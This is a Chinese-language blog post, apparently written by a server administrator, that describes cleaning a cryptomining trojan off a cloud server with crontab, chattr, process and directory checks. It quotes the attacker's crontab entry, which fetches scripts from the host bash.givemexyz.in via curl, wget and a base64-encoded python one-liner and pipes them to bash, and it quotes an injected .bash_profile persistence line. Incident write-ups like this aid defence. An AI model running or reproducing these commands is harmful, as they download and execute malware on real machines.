第一次遭遇挖矿木马的攻击,写下本文记录下清除木马的过程、应对思路以及后续处理。
发现问题
收到云服务提供商(阿里云)的警告,并发现服务器上部分关键进程会自动终止。
登录相关服务器,使用 top
命令查看进程列表,输入 P (即 shift + p
) 使列表按 CPU 使用率排序,发现了占用了极大资源的不明进程:
(由于服务器没有运行 python 进程,因此列表中的 python 进程也很有问题)
至此可以确定服务器已经感染了木马。
首先想到的定时任务,使用 crontab -l
直接查看或使用 crontab -e
进入编辑界面。(crontab 命令可加入 -u
参数指定用户,如 -uroot
)
1 | */30 * * * * (curl -s http://bash.givemexyz.in/xms||wget -q -O - http://bash.givemexyz.in/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei5pbi9kZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms |
可以发现定时任务已经被篡改,而且无法保存修改,也无法使用 crontab -r
移除:
动手前的规划思考
第一次应对这种情况虽然有些慌乱,但我决定先从已有的信息开始,分析木马程序进行了那些操作之后再执行清除操作。
观察和收集信息
首先输入 \alias
命令查看设置的命令别名是否有被篡改,注意必须加入反斜杠保证 alias
本身没有被篡改。
然后观察 crontab 中被篡改的内容,大意为每 30 秒执行一个脚本,脚本内容为从某个网站上读取名为 xms 的文件并保存到本地、启动 bash 将文件内容用 base64 解码为 (python) 脚本并运行。使用 curl
, wget
和 lwp-download
几个工具将文件保存在 working dir 和 /tmp 来保证成功率。
在之前的 top
命令中已经发现程序的 PID 一直在发生变化。
先手动中止进程看看:
1 | ps aux | grep dbused | awk '{print $2}' | xargs kill -9 |
并没有用(虽然也在意料之中)。
使用 ps aux | grep python
看看另一个可疑的进程:
对于正在运行的 dbused 进程,即使用 ll /proc/{pid}
或 lsof -p {pid}
来查看这个命令的具体位置,也只能得到一个被删除的位置:
同样是从该网站上读取文件 (dd.py) 并执行。
以域名 givemexyz
为关键字搜索,明确本次面对的是挖矿木马。
确定方向
在参考了其他文章之后,可以明确后续的方向:定时任务,开机任务,以及各种可能的可执行文件。
开始清除
中止 cron 服务
必须要先要中止 cron 服务,否则前脚刚删掉的文件,后脚又重新下载。使用 systemctl stop crond
中止,然后使用 systemctl status crond
命令确认,以及查看日志再次确认 cron 确实没有在运行:tail -20f /var/log/cron
(这里应该能看到之前执行下载的脚本)。
修改文件属性
与木马相关的文件都被修改了文件属性,因此即使 root 用户拥有权限也无法对文件进行修改。此处需要两个命令:lsattr
(查看文件属性) 和 chattr
(修改文件属性)。
以 /var/spool/cron/crontabs/root
文件为例:
1 | lsattr /var/spool/cron/crontabs/root |
可以看到该文件包含了 ia
两个属性,其中 i
为 immuable,即不允许改变(无法删除、修改、重命名或被其他链接所引用);a
属性设置文件只能以 append 的方式进行打开。
属性的具体含义可参考 wikiwand: chattr (需科学)
使用 chattr
(即 change attribute) 命令取消这两个属性:chattr -ia /var/spool/cron/crontabs/root
。
涉及的目录和文件
定时任务
查看 /var/spool/cron/
, /etc/cron*
. 包括 hourly, daily 等目录。将最近发生修改的文件都要检查一遍:
虽然文件名为 apache, nginx 看似正常,但由于修改时间大约在攻击发生的时候,因此不妨看看文件内容:
果然是有问题的文件,予以删除。
开机启动任务:
主要是 /var/init.d
目录下、最近发生过修改的文件,以及 /etc/rc*
下的 Symbol Link 文件。
系统命令目录
相关目录如 /bin
, /sbin
, /usr/bin
, /usr/local/bin
最好都检查一遍。由于文件数量较多,可以使用 ls -halFt /bin/ | less
命令展示,其中 -t
参数使文件列表按修改时间排序。
在这次的情况中,有问题的是 /bin
目录,有 4 个新的文件:crondr, bprofr, initdr, sysdr。截图里没有前两个文件是因为它们已经在之前的操作中被删除了,到这一步剩下图中的两个最新的文件需要处理。
用户目录
发现 ~/.bash_profile
被修改,以及有一些意义不明的隐藏文件夹,均予以修改或删除(注意部分隐藏文件夹是正常的配置文件,别删错了)。
.bash_profile
被修改的内容:
1 | cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null |
这段脚本会在用户每次登陆 bash 的时候执行。将 bprofr 文件换个名字运行后删除,这样通过 pid 也找不到对应的文件。
双破折号 --
是 bash 命令常用的符号,用于显式通知当前命令对于后续的内容无需再解析为选项:
1 | touch -- -hello # 创建一个以破折号开头的文件'-hello' |
如果没有双破折号 --
,则以破折号开头的内容会被解析为选项,进而报错而不执行。
2>/dev/null
和 2>&1
为把错误输出分别重定向至 null (即不输出) 和标准输出。
其他
检查 .ssh/known_hosts
, /etc/host*
相关的文件、防火墙配置等是否有被修改,以及删除 /tmp/
下的可疑文件。
收尾工作
重启服务器,观察进程 (top
)、观察定时任务 (tail -20f /var/log/cron
) 是否正常。
check-list:
- 启动防火墙,合理配置 ip 和端口的访问权限
- 部署应用时首先要考虑外部访问和身份验证
- 检查应用中存在文件上传的地方是否存在漏洞
- 木马是否有向域中其他服务器横向移动的迹象
- crontab 的备份和恢复
- 防火墙配置的备份和恢复
存在的问题
分别用 last
(查看用户 tty 登录的记录) 和 lastlog
(查看各用户的最近登录时间) 、history
(查看 bash 操作记录) 等均无特别的发现,即记录没有被清空,也无可疑的记录。
实际上没能得出确切的入侵方式。